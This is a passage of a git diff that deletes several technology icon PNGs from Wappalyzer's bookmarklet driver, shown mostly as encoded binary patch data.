b/Wappalyzer/drivers/bookmarklet/images/icons/Nepso.png deleted file mode 100644 index e14ba066786a3f20b8c502648e4c080022992481..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1855 zcmV-F2f+A=P)rzxcs5^6Z&hEYU{C?;6{l4!z ztJB@&)lgJ&U-kS2*0SfSUoWV7{(!U0-C-%19kAx)YT1s=_lh#?^<}OcxvIS4KHX4X zMb!((=DhoErS;>Fc8Nz09b%6)D}vwGA)WC5DjYu!rhWUtxOxqk+~pv!{O>u2l&0t0 z<%S^v|9scZd#3MLH^SWe&7eDTo@{x@e!6X@^+MoF@%(vUKKmRD)z5=rQY^SqO~)41 z)sNQwUzbx;%yLKjWvRCpgd;~l&x>GuatxG~m6hxM&JN5#N-u$(;$rm52)=Ann7 zq;ziMe*$LH)Ch;BW;-;+82-CmIewV``V3gQyTF{81u-KYgZY&UR}2|&woe&p@p_L+ zUN4A!1Lr?De5#AwpXOH{loikSVs|&lXw>vXJxmxi8kR0yR&vMSE=_$5!G08iprJuX zkl*Z@cUF+3X94d~K<@n(#Kz^Ie|#huQ%u+P?Abg1jtHRSZ*i(N0K9(?0naS z@v2X^-_3axhi%`7%WS7wx7h++4NlE7W)KA~--H5=paNMkprA!j;%GMPCrC+LC6nhHYGUSxg&Y<}&fKdG?!A3fmp_LApvPblaC z?=?bJ?mP?PuHC>+Nd&XW3`S!rX2csDU9hgMenE6h92lo01DBEpY&rwX#7V%6p8(>P ztsq|d1}v)D?$SIDljo=U)!_t0xRHJ#a5A#}8jZipuh#G=zeGZSWm@%&=fl(fD&Fx;Yf_eujv z1nip1lKVM+bsT>Go!(Q?gcmP@u&5T8$Y{F02~}{pve)QpYwPpk;-&y6NWhv|U}7c% zgK=URBq2(`#N(XA%;N#Evl9f&YXn&mmXZ%-`jkYcPkG`-h?Hmq|1MM~NE-Sy;6$0O z)xSyH@OE8pZr)NOkv%P)?wBur2Ds@nfSnuzr|97rcm0!b^Zf*sg= zTV<5P6<_t9- zpEn(tD2zP`a~}b{-iRiAwn{g5?!1~rtkL2d%Rs(#i5iA1AfG!2JRU4aHiS%xp<>2I zg815NVCm@z?oQJ}??`=yBMQmnK5m51p9Rc>r~%S5sJOw90`>JTh`QyCE7B83Jq7%# z)gT7~!9{RU8QUmdv*-qaeiEsspeM@afpqvVB|&NhAxz$vFXFtT1H=#Z0B3X1RHooz z1V|0AT5VT0Zrn6H*wYh|x(p2s^kv+^by4$OCxwHrTo}sR&>#z8hR}3MHc%qM>q|jg zw+@6gYe9JFW#DGy2eXNIC`|S~u~u=+Bc%|Ap(aE92kZ-els3C2+sCX z^bncR-qy($mjDwRKRAKg7(9}mgoFzVXCM4aBU)KivvAVlCE)0}kVB7DZEf!`Ma4r# zfJjebpOj>P-Min99kkWvyUS1Oj~&&>JgciSkDXsZB^^x4TLm{`NTM(mYisK&|F+k! zty%P-bM=~D;cT0QeCIcAx@wMyx+4NXa1Mh)OZ3)DxJ;dXvdhx4axt2yhBZ{ zf&y!oAt43y=;YMYbehv-5Shtt2`G_0J3Hs-oH?Z#|H(h0%F@cj!ouQL?RMvWL6E)> t1i9Ja$lO<0ShN!R$_zYRJ#s7S{Q-E3Wlhg<$IJi#002ovPDHLkV1k7`faL%H diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Netmonitor.png b/Wappalyzer/drivers/bookmarklet/images/icons/Netmonitor.png deleted file mode 100644 index 45da0d73325886db8c175199e158b94508731f07..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 902 zcmV;119|+3P)vF;XLH4f zBnh#d(bpfWtX-R%zke3E2><{f003t1&Z`qsvtKT*rH%vx0W}h=!B_4@0H$e^$>q4e z8n-8|-TH1OcK0}t2T%ZRPv7zUbm7YRk|XVVroENgKo$N<4WH&k0J%bmt&Bm1RxZ~C z0v}XVXzf?8-`)@86o3npcTVbgdtYzYlZ1l-+M6SUYpU>+sR*EGS|ql0=2sqJ+YW1k>V5$$QEq0Wya2><{9T-Rk|Q|EeYf%tlYnYnw; z&*K+%$*q0SF`;+{>cc_$J9g666he{&uH$g)=1o>sR;aJ9N0wzOG!GzHO>E)Vj(E87 z*p-&n6MHQOkl=|>4MGTP+v4+2KV$UWLyR68W$gF~ilzlXVIs^~=vzuzB~w)I?- zXBOe)*JEt_rI9bXG$)H_=@L(8Eg^Yi5!bT@4-+XeMjn9v{(gqv z7{)MiOcWcb+7YHBXy9{`XikC(DNWd$Lx^Hhj=uDA=Xxp=6|zDw;HRxQf-K7nz4{9M zeZ6Rb5Y=6~X_o)PTV_%aDg{@dVzO4-{hK^|;J~BU;_5q!qDt}P7CRflglnsjB#D-m z7P9FSc_l#3*Fc?EAYp zJEOCi&SK;(vWCLQ;NXow^u3P&1OUMIr_N}<^4!v4Q&J_$HDm#rk;Jhq%t9W; zbs2f>#UD-{J$wvE0|)>B0DzCb_-4;!Y~k&D@r~W7Og8MZa&E1^@^MdF%hcOl&%)$;_lPoymQlvmeWS4#UufdyW3scd;+)Ti;%L z9S$7aeP9x91pzPs=F!9Oe;_w@xbBic2$%tcD1?t$-Z{38jRU`7fIJH#mx)}#43^n( zF5vZ6S<+Ze4Y#%PaPF%F28se71q#YLV9?ej#%V9sY?%>2 zZn*n`P*JR?5Ktgd3L*rVSEk0b)2vJ&AVG)}DJq6uoNWXFGi2_L6OEFvlR9R{2CQQV zIZ|L8P$?3X$U8%3gis8{P*DyRMJc3mBt}Z|Z*SLMovHhMtspCr$ftzc2GwXy6$9!T zckPBg`%bHwuprEDo*zJ%O~xw*Vp$03{yR%|Lsr{=$_?EQd>~RuI~{ z`|m1!@e^f#6+uV{3|Y(H-ZS)*zb+h~Z2_d<0-N-AZ@jnbz~qDD7r*oD<)>b`y7)oUdR;G=^~2*cWBVp{?LRNq=c6c;w6&%_ zJ`!|N3m*kBi_e@|^~2d(lMn5xj%|$@Akh|jk#u?AH#YBmYO)wd@Y#ctUphSX;P~vL z&;0AfbBnEBbUW>r|G9YIp|`&G!sV5KA>w7c5w7T=Lzub3d62AQNsfWfd`X~JNnd{9){l=~EicY8V#Pib+JUQ8FHhOBB z&BnReg*(6d`d6QvmMVXtLW!RlRmM8#4>Jc!&Mh_`KYIGzc6t1fyR@-AWpSupxv&^U zAp=QCU>tmYTa?d^p$|S)s}!F*F?;yflr4R1Y{$U%Dmd4>AwqcZ?6p#L)EXcuP+Pud zi%5<8FI0;0kB+?dgWsOC;ZUhsyZ4T0AjY0bDd_lxg{BFVR0{JqxfEh80&88r$&iry zj=XmC#B62L_R`?(LnZaKPlm=i?$iF$uU-n20t8D;0O)%OWbbyYwbgR*@bjntcw)L( z+f*3YK2!8ahVOq49qVcckpyNCz+@TLy3kE~wxp3Qu$MT$63wd}UT)}qc#n!q zYf7WjNp1+3KZBJvbdt0OI%TWb8esM@HJlheeHGd2^j0WImzTSb9XUtF@=}Xh9lgPa z{Pl2AA_A~qY^`zDoV>zk7Q>KSCb)^b7J&C1mUe>DXaR7a%o zN|R14i$=5k-UsdXZ?qSd8w;zQ)mGZ&K*r@_xh8@bNkR^g#H9Y*L~?4*?B1eoFLP0W zalFzU0-?Q3iy9!kAP+MkNXh zB*Xj+=d5MjwMkQVn=b7HkP6Oj&`ndzL@JO$!TXB1EP|{m>kEkt2uGnR4|)eg0wGCA zB!x2Yi$s7VAcIgKKqL@RD63+t+s0@>>s3mHqp848X7s<^kcBY*aC?7v_dH a)&2*vn4esnhD1I90000COkH-gMSm^kqmG4n{w9ET!vbJHE|*0t-k-uKp>Y_PEbW}6VV zvHNJdtzEl=5Y)url|&`R7!wUfLIi@q*z5cIMrXVAtA+3n2~FO7ZNKmPJMeRNH~v7y4d&5UB+?LUj=% ziV+j`4BBQKGiyuGP|P_bmJ3HJv#%{CuX2(mc%p_0R+<}Z@C<@W28N+>dJ60q7Wc#jy<>D-H!|E~ zayh@WPI@SC>O3B8J|BE|v>VtGbLef9m`)<}!d9>fm0NjI3$4RBWfl+|@23{8nDSjI z@9oiKC>3!BzCInL>hFuzj|@i(TU!zhj!`F`r>?tkE$nRR0Crgj5;E&KwovsBgI%at zxv=k{-A-hDv*9pUyk4^4RmrCvJLn9YUXZ`i;B>SHk}yoTVT-YD(YOHw0E<@>rkt3` zr!$OvLHd&3L28dxeZ92=NYULDMMpx=axl^Aaep7E!rr#eC>57&gV;FB;0QGex?Cs5 zd(qkmYS$RpydKD{seU+;I)dJ4Lf|>SA4>a&;aQcP%AzF%eqx{uF4}y@luNH`1@ojA zj4tOlBQPHo2?6y${~jc8$xoo%;e@T`eaq?t68MpUW%38Q{U-#-{@YMSgUfLe9UmPD z0qxM>+m%zkiwgv%K;s&Rmu&k(5HL(50o|E!1c(9_?O!iuA(#Mu=ad>6861&rDqQi|RG07*+}(s8WLS6Nx)>VuJ{*N!hjn>p?j`%nU$cL%E$QDt;yCf}GFBCnrrTD62&JQ;ECt9tdfk zM>eO%;#M>ui7Vkq5INs!JWTa}(w2>G512e2>PUW*vQ6fNVAENzamD)X#Jz$C|2Kzl z%2lF6e+fr|7?S{yX(+9#8D6Vxp^lq$HB{$Y+;cJ=m6^ZelxQRmtxt}PcqSz68At3^ zy!m`sHAqJzW0urHfi6l;{+Ad}b4qn;W}%#aOA~Q?X3o7h`zNDg6<9Jq=LPlj3RuXR z|1t+nOf?rYSu@^~j?;9)ZFwO`$`Z!#B*y!a-YMR{{sJcP9|QQ34s6r002ovPDHLkV1oa>r>Fn` diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Nginx.png b/Wappalyzer/drivers/bookmarklet/images/icons/Nginx.png deleted file mode 100644 index d3a1648b09d5e98ed35872f46e6b00faca57bc90..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 738 zcmV<80v-K{P)ia&+qwspBG^D^12N66!OC> zh~);B{=#Ad3oV#$U=HyEEPgtia*JnCK&^d93s6w|gDEfOy1|gXMMD5#$Txzz{!(Ph zT`$zY)VBLmZpv%W`bx9}951ksJ_+zE9+phw?*joIw%~C+`NW|(>#f`#+2Rq$7xiy+ zsT1_!-{^uo>jE8do4NO;Tqj!lTr5NS1Qv^lm6viIxUfhNsDi}@edo~R(FCsfDJH?M z5w2G@qKm&1@p}e$CprQpvdK@8-n3HtMGL0M1-3RAxR2QCT6Fm=5sDeGkHlM=j&hJx zZgM?zCpGy#tg17JaTk2teOAW6QhVHw%DEUO&kVtI4&A^0|Mq*6A0QLPWH&u3W-}Di zNhoCy*(8)tBw=cF7ue|?U}4j-Qrpndt&o?ovLpl>05jEx>l`GYcr1Zy`<%uzOLnh& zV?BZ{nZ|c3^~z`)?4={{7UBMiK>6NC+q13haYC>OA3hT`d-)FndFg6|8&tj}513AP z;R9ytx)uTx5m~>8a(kNu%I9LJtSW9AO4AF5+>8HJBCy^N3?NE|jMda=vlLCI!LaN2 z&MDp39(YU3%We?N07@JMzad)j{Sf7Ciap9Ncnl)^B*A(a-|h6Ryr3Q?40(^ly8kr| z5nhlV`BSbrd%!z!W0NoX*hEGK$mA(#heGdyhBO~!CcHx?kiop+d?O^E8VWFytGmhl zA>2IpB*dYFmm(ri#jp$oCr~^dM|XaS!1`Bh9L?nODCBG7coqgVn9TIAo^iddUt}rj UC}+wMxBvhE07*qoM6N<$g88CW&;S4c diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Nokia Maps.png b/Wappalyzer/drivers/bookmarklet/images/icons/Nokia Maps.png deleted file mode 100644 index 5045e96bdfa71ce99197c3f7e0668432c9949d0c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 515 zcmV+e0{s1nP)2?1=T+F=TA@0mW~3>b zP}w{N>)taA-Y0ndk>r4u?hz=9>Y>pOqGM>45WzZIeD)Zx?ev8)y%+p4ivy50?M&gHA*$WQf)t|OP=o1|L;$Lp^xVF9Z5L^? za_mPhLSv~+I${xEi|s%)pC@R01D_40`EHX#=#^>OEe0fZn~u)y4?{n&h!Qmq!{{>9 zZT-kAX+XPiGC9C~^{G935JXwSu%KPlIw{-}x@>e~lLEGHqnJNt+U#qbSVgtg0@I8K z+TL*#*XYn^wtoZIgUI~HW6I{}NivHpqWxx2SR#?6egGRXx*N2PsK@{S002ovPDHLk FV1n@A@ZkUe diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OXID eShop.png b/Wappalyzer/drivers/bookmarklet/images/icons/OXID eShop.png deleted file mode 100644 index fac817ded18e6e4d73636f6da90aeac5f135de9c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 384 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 Q;Q#;t07*qoM6N<$g2xT>H~;_u diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OneStat.png b/Wappalyzer/drivers/bookmarklet/images/icons/OneStat.png deleted file mode 100644 index 1513be9ed9dd102db842f2dbf6ac4aa08524c460..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 909 zcmV;819JR{P)ra(+0KoC@?>P^gb2t}Z96E>s7h_$z%(qUS}>j}6tu6? z>Fjw;HC_ca0UQ8By}iMBI=SSj@HTgKb>s26al2jUhK{D0Sf-4snP{4Zrs+Y$u--LH z>teBJXJmk)B>#DG@U^PGz8BaIuOVzF|6IF5ICKx8s@SF%Q?%kJ@gU1t9FnNiZN`Cv z@=$NznP6RQ*E?rMX{fI!7JtaaOP4@W8R&l*e=&>Lnqqa~d#2JyDM}3pp(3ykSeE_1 zY}w{V1A~M3y#a15-loh8V`Cqnq%~Gob_j1NNS+!_A5PP~@&^}|PovmwcAb*~6|RoX z_6{-`oy&iXGc!9&(US3cAhtD6ESg~EftxQDkI?Q;&=Z)$v}J5t08*3GRJYezV#|a! zqo{=(ZEXiwoC^`U6XNN*0#a%MHJ4&3Rm0DBe6)KuD3wf1%fzq>E~zqjimB-xV$md3 zJ~ve^K{TQ;c{4>KDj06sraC`PI-BQa#3rj35w=7&H$j>HC2~Bbs=AhRm-*e4XaZM! z7ByMJ_O{I0ii?-Z%NVV_N@Q&Y&5UqAe}YuLh);UR*-qJT9BS5v!k zs;m6Fm?fMl<=Q^~b^o)1Wh@AHi# z{Aa!hjwkTQHnwS!%9*5;C=O$ik@{JlYpE>+PQ3Ljuprnqa{PG9n@=jgr^2^du7+Sa z+eq3Bpj$RYBaTOG&|PgabhvY)rt$exz#M?!G2>%ze5}M)-V4Xp_eau-Q!j$wf7CK zzu)gYz4v<$$lbAQHYW(#+}$RK&vQRueD?c2*$MlBu@}PV0-=Nx5F;*pOb(7DhfU7> z5h8N-t`DVKHy+Vgz2bu7c?%pUNCl9%i-rGnfcK zrf4D>SI4rhINM`zh)*a!o8&}~vcergfb^Rba(F6}OlLee0i%I~XnGG67oWe<6E8=Z zP#|PNLivc@iJ|m;1x6)=?0!3Qi{yO_4>R0(Z{~=Lk>Yk6Kw7mEOj9^dRb*rhL>^UO zzwE<{jf^^$DRDAK^}#erO2j4ZNH99&LVqz#lz0;ZgCh`0H%Gbt7$fe0*xZQQZ}Q?2 z4`9rFC?yzTT#24mhlExlUFA<-Md(0;ycrU@Bb+A1^BiyRU=lAiXx4|~5A_D;ssfp8 z?ptG|YzY0gjVm@Wnk0)v5@9kW1s@o5r!&m$(4`(IL!Yk>Rbr{rK6b4l$i<@Dt!()) zd|s)esI<5Z4o2mmZJRD3(?RW^=|4#BM88`JT3@S!-tCWT(b&h%7?kG5cz>ToqOrN$ zt`YhRU2315uEnz!m#-9rXJ|r;I-E5M@S|ZLmJxDU{`0GvVk1?db-krc>~zQ1>iqBa z62Rf;n+-mf-9d>-B?uGJRElhX=r%(0RJ6>`e(gzgMunesQ$HUFZm=f41ih2Gi1(Uq z)jAU&4n}u?iKEU;8R+jzunRSTV<1whPj>jILx@0Tgz;Gij88tAVa&lqk%s!*lrGZ; z&pYXZDqAr~zOR87=*fSoyf0j^{$YUn(?H^}O6*7F{^E0O6$WpSmbqxe`>d{Sl*Ugr z0paef2JWdz(PUBfU!d==@(^%1xVk;G&yMdh5%b%SrDgIZ4W30epoPc#p16RmQ^o&w zi`v`kIAac78FZ~zhs!MiDi#}yM*#roMTBO)vQRI#5|h3QexUS~TvM-VFfWioV+6@+Nvl3l#pb=077t5{Z+O=!c$x78oDoy7KO2zo{(OcaWdhDp${zS9+ zB{1|%5BcK?^$fY|MWuInEdreMidFKPA$(aA_Ui^cAakx%pgTJ(b|N`;!hHd52Wqrj zPxV^o$oyaFFrd{lqtQI8(E@a08|B7nHP(4@c&iMYa!3tS>z8T5n|h*ulzZXKnCScv zfV2x|b0-~CQN3x_ca~XQ7|`yS+#H#r!XNI$o~-pfvbS&gS zf&inQ=C4LFz2b8J?8`7vX`R{Xo85}fssR@qX`0vMnpu|sj(OKy8J^niwc^py1SzcR zg#oxxgssiDfO_lF2IrKj*pxGY<+ZvcN@#i$KDWj&rxkjt!9VSk=KVIkr04hR7C^xU zB3g?#KKGh$quc^qbkD4WfKvU#HPFH%Ex)?Z_tTr?^iKB!9r#04#-eM^N-rx)boM^2 z2`G4a9mX$j@$WKcUe^)R>g|so(*b3jQ#z2xnjMdHpp!b#r|JwpX?Fk$-*!Xf*+&0O zoo&3B|33h36hVi_KWzkO%b+DUowE-smdoJP{qQQSfAWd`#Vy{Y?bdam|IHTbbE?=I z=IHz@+V@%=hjqBc=AH-x+*4%`jFl)|n{}Dmrmi_1uE&*uy)C*OW_tZ#>gmhoC%ZgL z4&GRQq_IfhUES>1a$f%17T=_5{H^Xpr6-9~%spjX03d*%+l<7fPWJ_^eRq#@-6hQ{ zP3WA9f#(}yi!Yg1RjC(Uc1+$ad%6wTI)JV0^*meS1Ii=YnylN0(7F(xyVKk61(4h_ zC-@D$(TZW`=^M&oP4Kl|^3QGH*A4x^snFaD@XOcSFLtJ0y6)ekgq|4)AFzgBZHB+; zvR!ggpLCe_I=Rh*6cSA)=}h6NLNpI0?1ZvkXvrp55;T1hJlorlnqQYlZYM5I#2*!!=fda+`8u8yvWLV{p>AC9g z1Leda4ZPbLJb+N2^&n@vO`n;WUQ2#Lx#11}u3p=$7@XQ@e!~)1*if-M?su{sLH75Z z(RaF&X(7i7cdMy%=ScI_SgH+*emO$_qXPv;?0ZI%uMZ~W7D$H>CALiKkkuQEvKdxq zhj%nad5cM`+N6Uh#8Bk)$F*Uq{%}4o0Le z)!l6mB!RVf@c}2Qr}On#A56<*oFhh$7#(}uiH*i+Yo8$$zb$7{a8ohzV>RAF@O=dP z(FpZuyZ6 zBhFzs7LtXycfb@QzkaWPwl*oioLGJB+0> zTmeZRy}Hx64|?!Z&Qz%@&v(mc1Z*%ahH6ZNqnDY!tmc>&VQTJjuCDD z|DTimvBQ_)ztyz)i~d_PlmZ20F4o;;_-{T9Xq4#`z54&>r5^tU+M+l8|NlSATOJ7Z yo)>-&wB>a`^N;^GJm>zu>{sl*i#(SS6aWCRf7T3i-WKiHadVwR>A^as1SN;E)OQv0#yxfK( zK`13S@NLrpspGcuO2QKB5;&!7at<&t^t_zV6%)-PQh&r|f)CIj22WQ%mvv4FO#s_E BG`|1< diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenCart.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenCart.png deleted file mode 100644 index d6add7f1f8e3f517a269e8177df0d10ade41e732..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 456 zcmV;(0XP1MP)p|MpMRXaCvNp4Hzq#?tE${DDWl9mA)eTa~V6G)JAe95Uh-tp@JxV7Z>&GjM5O}3F>y;|aOf;my`K~7q}g#sB{ yyp^7L+?HhICA{BdEHZaPSA6X>9`%j-SM>(s47zK*hvtF+0000y0K=;s|Egu#jjH5*!8)Ng`xu#E?vhL4;(95($bEfl zO$aiFV~T1diZD@-&$R-qY>rI=+q#Vsy22P8W$mOL?Y-~cD`92j23!kI^2;T;%f0`5 z?)@OQ+fAzX+S}VZ91aJX&$eR4kEbxLxE5I}58b*h*m?qoPn|{NepG8K9C>+gj2ow0 zTSQh?pfxM2vBP4SNs+p6;le_v(}|v*9(471F}3^*jGxtOj9lJ;udFWk{r)?yU4wtp zB>2+Obh|Fg=rNmdJ~NZITP$C+?eSLihg+lmrj~gt%>7J68HN)E3kD(=w9fLxo zTbMBnBqzgbG{QM%OcQxL9)!bT0KiiP>Oe~y?rTEnIow_0oE(IR5RZTw;JY)B&FVO^SCzL)?^mPwe+#EIe-4PbsUg-iyfs{>bjLAtwy!4UW0VrYO!<%}Px zD?spOD0XztiF-T={f3wT?_`f6;>rVM7*k@#SL*AD4-AlCj3UlY9!oX(Q|QOSmv8xf z>1660#kvOX4@Hp;MFfVhLxJP3un6eqR$_6?nU;_=fSF3TvET0 zTua|I*=S3xD<(jsj-0!K^bdA{&Hq{B%fB4a=d9gUjQDN@*mf2-X}biuQub5kng;A| z^=Wpu?!F*a?rg^NwTCfb^?tlrZo{e0-st`6_G+Y7r-D_ngh*9tfUng68LR3bebRt} zKQF1fVHkR9ZPQw?ZS0{)+tdIRvR@k9T#664=$XPsdZV(9R_%3B<;kn`Q)91Yz1zBN zR9Ig~39Y%|WGp)ZX|WY-u}x#*#zxK8uWwopR>2;cR3Sm$66pX2*SB`dH9gKW9hf_I zE}2qHkE{c?e?e$ij>|qxfJ|d1?R$M6nI3xtArK8PJeS8$$2+{55ZO;>lRei?mNd&F z=m72cjSo-*AfP&fr-Ge6~iK~jqw`+RDtibN6wouKKK)7Zy^it~bqm!@XLXKlf{1o!Q{vL#;=ln#AV>*Pf8_e? zHoG0Iq7E-R`|{>D-+S{7xvoq9iEu&GO=L)&!1|V z0%%(Hk?B+@Dc4k}JyundsRu;ZaZTUzeqks#n1?A}q2f>lM0l1oz8CzPGV1}LL;);S z+L6DF88EMhM@FaV^App04&3A~?5Wv_R043sF)bzSqo%)ahnB8LD5QSa* z+Cl~`9E2_8r+k21Q~;^MfS1rsipOKEKPHVA0lC3C@n=A*@c{}z V5rvS$WOV=l002ovPDHLkV1hrzzvln| diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenLayers.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenLayers.png deleted file mode 100644 index 7fa4ec6ab5afd4771a2cfefbf4dc4eb46a1c26fd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 555 zcmV+`0@VG9P)6AY0p>lrj`l!@1EI8B{wx2%xMa;^2B)Mv!kQfu zvl$AO--ByJ#+_&WF+?A9k#Wh|XAF)BML=DQ5Y5gh z?F`l1KM>T2jJwbM2fAh(gOVJm1J%lwj9sJJ_JLx||+}xiGTJH4>mR44){E`d*3&u_S&yceCKSRd6{|tSXF*Sn3 z(&zkVh@bPHD{3ddETK>PbuHk?Ggh}^;Lqao1 t%1h?v7D^?hWovVC^X6!1Xo}%d2LN!|McwHd*h~Nb002ovPDHLkV1gH84NU+5 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenNemas.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenNemas.png deleted file mode 100644 index f0d3701eeb4daad4d6ba4d2880d8f46654b2f3e5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 245 zcmV0 zJxT*n5CGu4T>5=Q3YXwH)ELV&Hj1cdPLLd7y@Kejo!E+ni^vw5Ldj=g$a@czFx4<0 z!~7Is5Zcn;5!x^){xAQMA|_+CM^A1{60!zC4OUj57IHAdhZB{`sU@ycP+4NSX?u)M zI}z;TH62Zdy$CLGpH1K3B7zxiGjNBi2qt*WzzYr|*!7KrP5B64M(LUhbZav9hIxL6 vp$7DN&=}^RR65go*L!fDo_g!Ew!QlYG`VvsD1qP|00000NkvXXu0mjfE^K5N diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenSSL.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenSSL.png deleted file mode 100644 index d37845a7172068d07f30ddd0382a6c748b063f8b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 693 zcmV;m0!safP)tf3LM#puizC>KFf4m_vme<9j@_Akcb;e8ubUYoBaBrM zun61$rhy3P0Iz{pQs{n`^~N%i9|K+jrw5q;H>J=Ur3)}tO#>f*i4ms1fy+|pwbBF_ ztHy!PKqK+!zq{ka{7+y;3f&#Gb`VexHIY28(4j_g81Kjb#0?;ZW1Pk7MTMGSgkf9XX0B^mi ztAzv@t72fzn|c!<*teN7R!tP~z$CEG8*c^(NZK@p8OI|QJDeOFt7b>MQ%{VK*YtHCTYLssVgT@jzbu1dRRK(`73 zaawmXR@H#5*a4me3vlPV>%fl^$a}ywDReJW6-c4K z0rNn+0J#Cqrfo!m%1{cu?L;iO#0*8(HLH_S=r3g*P9xwPa0NI8OnEK2=dyeqcn7=> bJ*NKy1-Ok9OH9GS00000NkvXXu0mjfjd&ni diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenText Web Solutions.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenText Web Solutions.png deleted file mode 100644 index 58a3025c22c4cba7e901fe812b3998baa7730151..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 392 